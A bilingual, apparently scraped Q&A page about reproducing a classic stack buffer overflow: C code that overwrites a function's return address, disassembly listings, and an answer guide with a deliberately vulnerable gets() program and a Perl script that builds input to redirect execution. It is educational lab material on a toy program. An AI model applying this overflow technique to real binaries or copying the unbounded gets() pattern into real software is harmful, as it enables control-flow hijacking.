试图破坏堆栈 [英] Trying to smash the stack

查看:233
本文介绍了试图破坏堆栈的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我试图重现,我从一个阿莱夫的文章砸堆栈的乐趣和利润读计算器的结果(可以在这里找到:的 http://insecure.org/stf/smashstack.html )。

I am trying to reproduce the stackoverflow results that I read from Aleph One's article "smashing the stack for fun and profit"(can be found here:http://insecure.org/stf/smashstack.html).

试图覆盖返回地址似乎并没有为我工作。

Trying to overwrite the return address doesn't seem to work for me.

C code:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }

拆卸主:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.

我已经很难codeD的返回地址跳过X = 1; code线,我用从反汇编硬codeD值(地址:0x4005da)。这种利用的意图是要打印0,而是它被打印1.

I have hard coded the return address to skip the x=1; code line, I have used a hard coded value from the disassembler(address : 0x4005da). The intent of this exploit is to print 0, but instead it is printing 1.

我有一个很强烈的感觉,RET =缓冲器1 + 12;不返回地址的地址。如果是这样的话,我怎么能确定返回地址,是gcc返回地址和缓冲区之间的分配更多的内存。

I have a very strong feeling that "ret = buffer1 + 12;" is not the address of the return address. If this is the case, how can I determine the return address, is gcc allocating more memory between the return address and the buffer.

推荐答案

下面是我的朋友写了前阵子关于使用获得进行缓冲区溢出攻击的指南。它提供了如何获得返回地址以及如何使用它来写在旧的​​:

Here's a guide I wrote for a friend a while back on performing a buffer overflow attack using gets. It goes over how to get the return address and how to use it to write over the old one:

我们的堆栈的知识告诉我们,返回地址出现堆栈缓冲区后,你要溢出。然而,多远的返回地址会出现缓冲区取决于你使用的架构。为了确定这一点,先写一个简单的程序,检查装配:

Our knowledge of the stack tells us that the return address appears on the stack after the buffer you're trying to overflow. However, how far after the buffer the return address appears depends on the architecture you're using. In order to determine this, first write a simple program and inspect the assembly:

C code:

void function() 
{
    char buffer[4];
}

int main() 
{
    function();
}

大会(有删节):

Assembly (abridged):

function:
    pushl %ebp
    movl %esp, %ebp
    subl $16, %esp
    leave
    ret
main:
    leal 4(%esp), %ecx
    andl $-16, %esp
    pushl -4(%ecx)
    pushl %ebp
    movl %esp, %ebp
    pushl %ecx
    call function
    ...

有,你可以用它来检查装配code的工具。第一,当然是
从使用GCC编译直接装配输出的gcc -S main.c中这可难读,因为有很少或几乎没有暗示什么code相当于原来的C code。此外,还有大量的样板code那可能很难去筛选。另一个要考虑的工具是gdbtui。使用gdbtui的好处是,你可以在运行程序时检查装配源和手工检查整个程序的执行堆栈。但是,它有一个陡峭的学习曲线。

There are several tools that you can use to inspect the assembly code. First, of course, is compiling straight to assembly output from gcc using gcc -S main.c. This can be difficult to read since there are little to no hints for what code corresponds to the original C code. Additionally, there is a lot of boilerplate code that can be difficult to sift through. Another tool to consider is gdbtui. The benefit of using gdbtui is that you can inspect the assembly source while running the program and manually inspect the stack throughout the execution of the program. However, it has a steep learning curve.

这是我最喜欢的组装检验程序objdump的。运行 objdump的-dS的a.out 给出了从原来的C源$ C ​​$ C范围内的汇编代码。使用objdump的,在我的电脑上从字符缓冲区返回地址的偏移量为8个字节。

The assembly inspection program that I like best is objdump. Running objdump -dS a.out gives the assembly source with the context from the original C source code. Using objdump, on my computer the offset of the return address from the character buffer is 8 bytes.

此功能函数取返回地址和增量7到它。该指令的
返回地址原先指向的长度为7个字节,因此添加7使返回地址指向该指令的分配后,立即

This function function takes the return address and increments 7 to it. The instruction that the return address originally pointed to is 7 bytes in length, so adding 7 makes the return address point to the instruction immediately after the assignment.

在下面的例子中,我覆盖返回地址跳过指令 X = 1

In the example below, I overwrite the return address to skip the instruction x = 1.

简单的C程序:

void function() 
{
    char buffer[4];
    /* return address is 8 bytes beyond the start of the buffer */
    int *ret = buffer + 8;
    /* assignment instruction we want to skip is 7 bytes long */
    (*ret) += 7;
}

int main() 
{
    int x = 0;
    function();
    x = 1;
    printf("%d\n",x);
}

主要功能(X = 1 80483af是7个字​​节长):

Main function (x = 1 at 80483af is seven bytes long):

8048392: 8d4c2404       lea 0x4(%esp),%ecx
8048396: 83e4f0         and $0xfffffff0,%esp
8048399: ff71fc         pushl -0x4(%ecx)
804839c: 55             push %ebp
804839d: 89e5           mov %esp,%ebp
804839f: 51             push %ecx
80483a0: 83ec24         sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff     call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8         mov -0x8(%ebp),%eax
80483b9: 89442404       mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff     call 80482d8 <printf@plt>
80483c9: 83c424         add $0x24,%esp
80483cc: 59             pop %ecx
80483cd: 5d             pop %ebp

我们知道返回地址是,我们已经表明,改变它可以影响
即运行code。缓冲区溢出可以用做同样的事情获得输入查询和正确的字符串,这样的返回地址与新地址覆盖。

We know where the return address is and we have demonstrated that changing it can affect the code that is run. A buffer overflow can do the same thing by using gets and inputing the right character string so that the return address is overwritten with a new address.

在新的实例中,我们有一个函数函数有使用得到填补了缓冲区。我们也有一个函数多余从未被调用。有了正确的输入,我们可以运行没有道理。

In a new example below we have a function function which has a buffer filled using gets. We also have a function uncalled which never gets called. With the correct input, we can run uncalled.

#include <stdio.h>
#include <stdlib.h>

void uncalled() 
{
    puts("uh oh!");
    exit(1);
}

void function() 
{
    char buffer[4];
    gets(buffer);
}

int main() 
{
    function();
    puts("program secure");
}

要运行多余,使用检查可执行 objdump的或类似找到的入口点的地址多余。然后附加地址输入缓冲器在正确的地方,使其覆盖旧的返回地址。如果你的电脑是小端(86等),需要交换地址的字节顺序。

To run uncalled, inspect the executable using objdump or similar to find the address of the entry point of uncalled. Then append the address to the input buffer in the right place so that it overwrites the old return address. If your computer is little-endian (x86, etc.) , you need to swap the endianness of the address.

为了正确地做到这一点,下面我有一个简单的Perl脚本,它产生,会导致缓冲区溢出,这将覆盖返回地址输入。它有两个参数,第一个它采用新的返回地址,第二个从缓冲区返回地址的开始位置需要的距离(以字节为单位)。

In order to do this correctly, I have a simple perl script below, which generates the input that will cause the buffer overflow that will overwrite the return address. It takes two arguments, first it takes the new return address, and second it takes the distance (in bytes) from the beginning of the buffer to the return address location.

#!/usr/bin/perl
print "x"x@ARGV[1];                                            # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n";                                                    # new line to end gets

这篇关于试图破坏堆栈的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆